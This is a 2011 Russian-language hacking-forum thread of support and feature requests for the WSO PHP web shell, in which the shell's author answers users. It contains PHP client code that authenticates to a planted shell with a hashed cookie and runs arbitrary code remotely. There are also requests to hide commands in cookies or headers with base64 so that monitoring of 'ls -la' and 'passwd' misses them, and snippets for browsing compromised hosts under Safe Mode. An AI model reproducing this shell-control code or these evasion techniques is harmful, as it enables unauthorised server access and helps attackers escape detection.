Старый 18.01.2011, 11:29   #21
oRb
 
Аватар для oRb
 
Регистрация: 01.07.2010
Сообщений: 319
Репутация: 138
По умолчанию

nemoy, в шелл встроен функционал, для более удобного взаимодействия с менеджерами шеллов. Пример использования:
PHP код:
<?php
$url 
'http://test/wso2.php';
$password 'root';
$code 'phpinfo();';

$context stream_context_create(array('http' =>
    array(
        
'method'  => 'POST',
        
'header'  => array (
            
'Content-type: application/x-www-form-urlencoded',
            
'Cookie: ' md5(parse_url($urlPHP_URL_HOST)) . '=' md5($password)
        ),
        
'content' => http_build_query(
            array(
                
'a' => 'RC',
                
'p1' => $code
            
)
        )
    )
));

echo 
file_get_contents($urlfalse$context);
__________________
Не оказываю никаких услуг.
I don't provide any services.
oRb вне форума   Ответить с цитированием
Старый 29.01.2011, 20:22   #22
euro
 
Регистрация: 09.07.2010
Сообщений: 66
Репутация: 8
По умолчанию

можешь ли сделать форму для указания порта при конекте к mysql и Postgresql ?
euro вне форума   Ответить с цитированием
Старый 29.01.2011, 20:53   #23
oRb
 
Аватар для oRb
 
Регистрация: 01.07.2010
Сообщений: 319
Репутация: 138
По умолчанию

В поле host можно указывать порт.
address:port
__________________
Не оказываю никаких услуг.
I don't provide any services.
oRb вне форума   Ответить с цитированием
Старый 30.01.2011, 19:48   #24
Лаврушкин
 
Регистрация: 05.07.2010
Сообщений: 27
Репутация: 15
По умолчанию

Былоб неплохо еслиб всякие исполнения команд/евал кода передавались через HTTP_*,COOKIE ну или в тот же пост добавить code/decode того же base64 например.
Хоть и не частно..но бывает что за POST'ом следят и отслеживают всякие вкусности типо ls -la,passwd и т.д
Лаврушкин вне форума   Ответить с цитированием
Старый 31.01.2011, 09:51   #25
Azz100
 
Регистрация: 25.09.2010
Сообщений: 10
Репутация: 2
По умолчанию

Проблема с кодировкой. После запуска на Денвере:



Azz100 вне форума   Ответить с цитированием
Старый 02.02.2011, 20:41   #26
nomad
 
Аватар для nomad
 
Регистрация: 23.07.2010
Сообщений: 179
Репутация: 7
По умолчанию

Поменяй кодировку в шелле
__________________
Roamer, wanderer
Nomad, vagabond
Call me what you will

(c) Metallica
nomad вне форума   Ответить с цитированием
Старый 05.02.2011, 13:08   #27
Mikki
 
Регистрация: 05.02.2011
Сообщений: 3
Репутация: 0
По умолчанию

Недавно столкнулся с такой неприятностью, Safe Mode = ON. На сервере были отключены некоторые PHP функции, и приходилось для просмотра списка файлов, их атрибутов и т.д. лезть во вкладку PHP и там выполнять разные скрипты.
Код:
 
$dir = opendir("/home/.../public_html");
while(($file = readdir($dir)))
{
  print $file;
  print "\n";
}
closedir($dir);
Код:
  
echo substr(sprintf('%o', fileperms('index.php')), -4);
echo is_writable('index.php');
и т.д. и т.п.

Было довольно гемморно, появилась мысль, что было бы неплохо прикрутить подобный функционал к WSO, на случай Safe Mode ON.
Mikki вне форума   Ответить с цитированием
Старый 05.02.2011, 14:15   #28
nobody
 
Аватар для nobody
 
Регистрация: 05.07.2010
Сообщений: 176
Репутация: 130
По умолчанию

orly? какие же функции были отключены, что всо не смог пролистать папку, а твой скрипт смог?
nobody вне форума   Ответить с цитированием
Старый 05.02.2011, 20:35   #29
oRb
 
Аватар для oRb
 
Регистрация: 01.07.2010
Сообщений: 319
Репутация: 138
По умолчанию

Да, такая бага/фича есть. Проблема заключается в том, что wso использует функции is_file, is_link, is_dir для определения типа записи. Но поскольку включен сейфмод, и uid владельца файла не совпадает с uid текущего процесса, эти функции возвращают false. И судя по мануалу (http://ru.php.net/manual/en/features.safe-mode.functions.php), мне не понятно почему в данной ситуации могут работать функции fileperms и is_writable.
__________________
Не оказываю никаких услуг.
I don't provide any services.
oRb вне форума   Ответить с цитированием
Старый 06.02.2011, 12:42   #30
Norton710
 
Регистрация: 05.12.2010
Сообщений: 15
Репутация: 0
По умолчанию

Еще одна тема - шелл совершенно не видит русские символы в названиях папок и файлов и поэтому отказывается их открывать.. Смена кодировки не помогает в данном случае.
Norton710 вне форума   Ответить с цитированием
Ответ

Метки
shell, wso, wso2

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot